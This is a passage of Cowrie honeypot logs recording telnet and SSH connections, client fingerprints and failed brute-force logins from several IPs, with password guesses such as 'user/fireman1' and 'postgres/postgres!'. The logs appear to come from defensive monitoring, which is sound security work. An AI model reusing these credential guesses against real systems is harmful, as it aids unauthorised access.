":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:21.723194Z","src_ip":"2.57.121.25","session":"3b66e4ca62a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.74706745147705,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:21.765316Z","src_ip":"144.79.218.12","session":"bf591daa1e6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.787206411361694,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:22.089457Z","src_ip":"185.15.23.59","session":"c0ca346a790e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:22.123354Z","src_ip":"159.203.92.129","session":"fc2e2e07ea43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":51488,"dst_ip":"159.203.135.109","dst_port":23,"session":"205572b7d509","protocol":"telnet","message":"New connection: 185.15.23.59:51488 (159.203.135.109:23) [session: 205572b7d509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:22.173096Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"flipmode","message":"login attempt [user/flipmode] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:22.201105Z","src_ip":"2.57.121.25","session":"3b66e4ca62a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":51542,"dst_ip":"159.203.135.109","dst_port":23,"session":"6424b33fe762","protocol":"telnet","message":"New connection: 185.15.23.59:51542 (159.203.135.109:23) [session: 6424b33fe762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:22.206759Z"}
{"eventid":"cowrie.session.closed","duration":31.05833625793457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:23.053352Z","src_ip":"69.6.225.50","session":"816b729e3f68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.321650981903076,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:23.127567Z","src_ip":"144.79.218.12","session":"0af9a53aa8e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.452535390853882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:23.156570Z","src_ip":"185.15.23.59","session":"1f71d130af21","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"fist","message":"login attempt [user/fist] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:23.305212Z","src_ip":"2.57.121.25","session":"3b66e4ca62a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.617634773254395,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:23.438981Z","src_ip":"144.79.218.12","session":"603d65b5720f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56038,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd45c9f49f22","protocol":"telnet","message":"New connection: 69.6.225.50:56038 (159.203.135.109:23) [session: cd45c9f49f22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:23.699787Z"}
{"eventid":"cowrie.session.closed","duration":36.793548345565796,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:23.812370Z","src_ip":"144.79.218.12","session":"369be2aafb81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.496984004974365,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:23.869093Z","src_ip":"144.79.218.12","session":"27f078c2a583","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":55512,"dst_ip":"159.203.135.109","dst_port":23,"session":"d83afa4d44a6","protocol":"telnet","message":"New connection: 185.15.23.59:55512 (159.203.135.109:23) [session: d83afa4d44a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:23.902525Z"}
{"eventid":"cowrie.session.closed","duration":37.43890953063965,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:23.961406Z","src_ip":"144.79.218.12","session":"4bbf941ececa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04795479774475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:23.972508Z","src_ip":"185.15.23.59","session":"42ce42f5670d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.578346967697144,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:24.071404Z","src_ip":"69.6.225.50","session":"61368efdaf0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":56506,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bb0bce687de","protocol":"telnet","message":"New connection: 185.15.23.59:56506 (159.203.135.109:23) [session: 6bb0bce687de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:24.336767Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"fireman1","message":"login attempt [user/fireman1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:24.409348Z","src_ip":"2.57.121.25","session":"3b66e4ca62a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.22844386100769,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:24.612878Z","src_ip":"69.6.225.50","session":"99233c86475e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":57730,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e1e418deb05","protocol":"telnet","message":"New connection: 185.15.23.59:57730 (159.203.135.109:23) [session: 5e1e418deb05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:24.781641Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":57830,"dst_ip":"159.203.135.109","dst_port":23,"session":"c92eb4de980e","protocol":"telnet","message":"New connection: 185.15.23.59:57830 (159.203.135.109:23) [session: c92eb4de980e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:24.823499Z"}
{"eventid":"cowrie.session.closed","duration":36.20851254463196,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:24.951516Z","src_ip":"144.79.218.12","session":"26f23c95b531","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.229467630386353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:25.015552Z","src_ip":"185.15.23.59","session":"381525b8de2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.372068643569946,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:25.109296Z","src_ip":"185.15.23.59","session":"2a12515eab5e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"fine","message":"login attempt [user/fine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:25.513024Z","src_ip":"2.57.121.25","session":"3b66e4ca62a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56054,"dst_ip":"159.203.135.109","dst_port":23,"session":"683a6156981a","protocol":"telnet","message":"New connection: 69.6.225.50:56054 (159.203.135.109:23) [session: 683a6156981a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:25.922202Z"}
{"eventid":"cowrie.session.closed","duration":38.20028734207153,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:26.082695Z","src_ip":"144.79.218.12","session":"b5658adba317","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56064,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c8796c5b729","protocol":"telnet","message":"New connection: 69.6.225.50:56064 (159.203.135.109:23) [session: 1c8796c5b729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:26.277639Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56070,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2afe50f35c9","protocol":"telnet","message":"New connection: 69.6.225.50:56070 (159.203.135.109:23) [session: f2afe50f35c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:26.553126Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"ferrar","message":"login attempt [user/ferrar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:26.616544Z","src_ip":"2.57.121.25","session":"3b66e4ca62a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56078,"dst_ip":"159.203.135.109","dst_port":23,"session":"953292a579f2","protocol":"telnet","message":"New connection: 69.6.225.50:56078 (159.203.135.109:23) [session: 953292a579f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:26.723296Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56092,"dst_ip":"159.203.135.109","dst_port":23,"session":"a20a96984217","protocol":"telnet","message":"New connection: 69.6.225.50:56092 (159.203.135.109:23) [session: a20a96984217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:27.039191Z"}
{"eventid":"cowrie.session.closed","duration":36.14195203781128,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:27.058004Z","src_ip":"144.79.218.12","session":"eea0486be2b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56108,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cdc0ac64d04","protocol":"telnet","message":"New connection: 69.6.225.50:56108 (159.203.135.109:23) [session: 0cdc0ac64d04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:27.329009Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":36066,"dst_ip":"159.203.135.109","dst_port":23,"session":"1539c1b17dce","protocol":"telnet","message":"New connection: 185.15.23.59:36066 (159.203.135.109:23) [session: 1539c1b17dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:27.460871Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":36590,"dst_ip":"159.203.135.109","dst_port":23,"session":"bed7c53d1567","protocol":"telnet","message":"New connection: 185.15.23.59:36590 (159.203.135.109:23) [session: bed7c53d1567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:27.599132Z"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:27.719893Z","src_ip":"2.57.121.25","session":"3b66e4ca62a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.359673738479614,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:27.887110Z","src_ip":"185.15.23.59","session":"e6c2d65158ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.462891817092896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:28.094085Z","src_ip":"69.6.225.50","session":"525ec45a7219","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":35072,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6ea656611d0","protocol":"telnet","message":"New connection: 69.6.225.50:35072 (159.203.135.109:23) [session: b6ea656611d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:28.330226Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":35080,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5ff53a23d89","protocol":"telnet","message":"New connection: 69.6.225.50:35080 (159.203.135.109:23) [session: f5ff53a23d89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:28.384986Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":35662,"dst_ip":"10.17.0.5","dst_port":23,"session":"1db1b19368f7","protocol":"telnet","message":"New connection: 144.79.218.12:35662 (10.17.0.5:23) [session: 1db1b19368f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:28.470729Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":38644,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e505949c1c6","protocol":"telnet","message":"New connection: 185.15.23.59:38644 (159.203.135.109:23) [session: 4e505949c1c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:28.546232Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":35664,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae1bbe87f9e1","protocol":"telnet","message":"New connection: 144.79.218.12:35664 (10.17.0.5:23) [session: ae1bbe87f9e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:28.551746Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":39602,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9dfb1bd1d72","protocol":"telnet","message":"New connection: 185.15.23.59:39602 (159.203.135.109:23) [session: c9dfb1bd1d72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:28.839149Z"}
{"eventid":"cowrie.session.closed","duration":31.161516427993774,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:29.180291Z","src_ip":"185.15.23.59","session":"81ba89647c45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":60392,"dst_ip":"10.17.0.5","dst_port":23,"session":"792e4a4655a5","protocol":"telnet","message":"New connection: 144.79.218.12:60392 (10.17.0.5:23) [session: 792e4a4655a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:29.326406Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":60398,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ae910ebe583","protocol":"telnet","message":"New connection: 144.79.218.12:60398 (10.17.0.5:23) [session: 7ae910ebe583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:29.463757Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":41618,"dst_ip":"159.203.135.109","dst_port":23,"session":"f860963db215","protocol":"telnet","message":"New connection: 185.15.23.59:41618 (159.203.135.109:23) [session: f860963db215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:29.632006Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":41930,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b0d65f2f4d6","protocol":"telnet","message":"New connection: 185.15.23.59:41930 (159.203.135.109:23) [session: 7b0d65f2f4d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:29.767527Z"}
{"eventid":"cowrie.session.closed","duration":30.218069553375244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:30.084200Z","src_ip":"69.6.225.50","session":"2d517b7a28ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.785547494888306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:30.478595Z","src_ip":"185.15.23.59","session":"9ce50767ea7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.719117879867554,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:30.889374Z","src_ip":"185.15.23.59","session":"539fda57956b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":44718,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ab54305f757","protocol":"telnet","message":"New connection: 185.15.23.59:44718 (159.203.135.109:23) [session: 7ab54305f757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:30.953652Z"}
{"eventid":"cowrie.session.closed","duration":30.257288217544556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:31.054276Z","src_ip":"69.6.225.50","session":"93c9c49f1c44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":45052,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b94586cfac3","protocol":"telnet","message":"New connection: 185.15.23.59:45052 (159.203.135.109:23) [session: 8b94586cfac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:31.060258Z"}
{"eventid":"cowrie.session.closed","duration":30.669315814971924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:31.224329Z","src_ip":"185.15.23.59","session":"f950173006cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76934552192688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:31.643918Z","src_ip":"185.15.23.59","session":"488c7e9ffe22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":59906,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cc8a93ec988","protocol":"ssh","message":"New connection: 68.183.236.1:59906 (159.203.135.109:22) [session: 6cc8a93ec988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:31.743457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:31.749263Z","src_ip":"68.183.236.1","session":"6cc8a93ec988","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:31.997406Z","src_ip":"68.183.236.1","session":"6cc8a93ec988","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.22079825401306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:32.059406Z","src_ip":"69.6.225.50","session":"5181124f6d50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.887617111206055,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:32.091714Z","src_ip":"144.79.218.12","session":"7a70c82e7d71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.451788187026978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:32.123426Z","src_ip":"69.6.225.50","session":"d2f1f8ebd3a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":47804,"dst_ip":"159.203.135.109","dst_port":23,"session":"41e7ff69285b","protocol":"telnet","message":"New connection: 185.15.23.59:47804 (159.203.135.109:23) [session: 41e7ff69285b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:32.133293Z"}
{"eventid":"cowrie.session.closed","duration":30.675989866256714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:32.165986Z","src_ip":"69.6.225.50","session":"87a086c0ae6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.84412980079651,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:32.514980Z","src_ip":"144.79.218.12","session":"5ca02c0789b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":48608,"dst_ip":"159.203.135.109","dst_port":23,"session":"64a0ee487f7e","protocol":"telnet","message":"New connection: 185.15.23.59:48608 (159.203.135.109:23) [session: 64a0ee487f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:32.550782Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":48916,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ed2f291b524","protocol":"telnet","message":"New connection: 185.15.23.59:48916 (159.203.135.109:23) [session: 4ed2f291b524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:32.627966Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":49152,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee004b312fae","protocol":"telnet","message":"New connection: 185.15.23.59:49152 (159.203.135.109:23) [session: ee004b312fae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:32.695717Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":49792,"dst_ip":"159.203.135.109","dst_port":23,"session":"776bd11dbdea","protocol":"telnet","message":"New connection: 185.15.23.59:49792 (159.203.135.109:23) [session: 776bd11dbdea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:32.933583Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":49970,"dst_ip":"159.203.135.109","dst_port":23,"session":"a628aa09eb9e","protocol":"telnet","message":"New connection: 185.15.23.59:49970 (159.203.135.109:23) [session: a628aa09eb9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:32.991943Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres!","message":"login attempt [postgres/postgres!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:33.010774Z","src_ip":"68.183.236.1","session":"6cc8a93ec988","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.85665774345398,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:33.230539Z","src_ip":"69.6.225.50","session":"9a447729ed06","protocol":"telnet"}
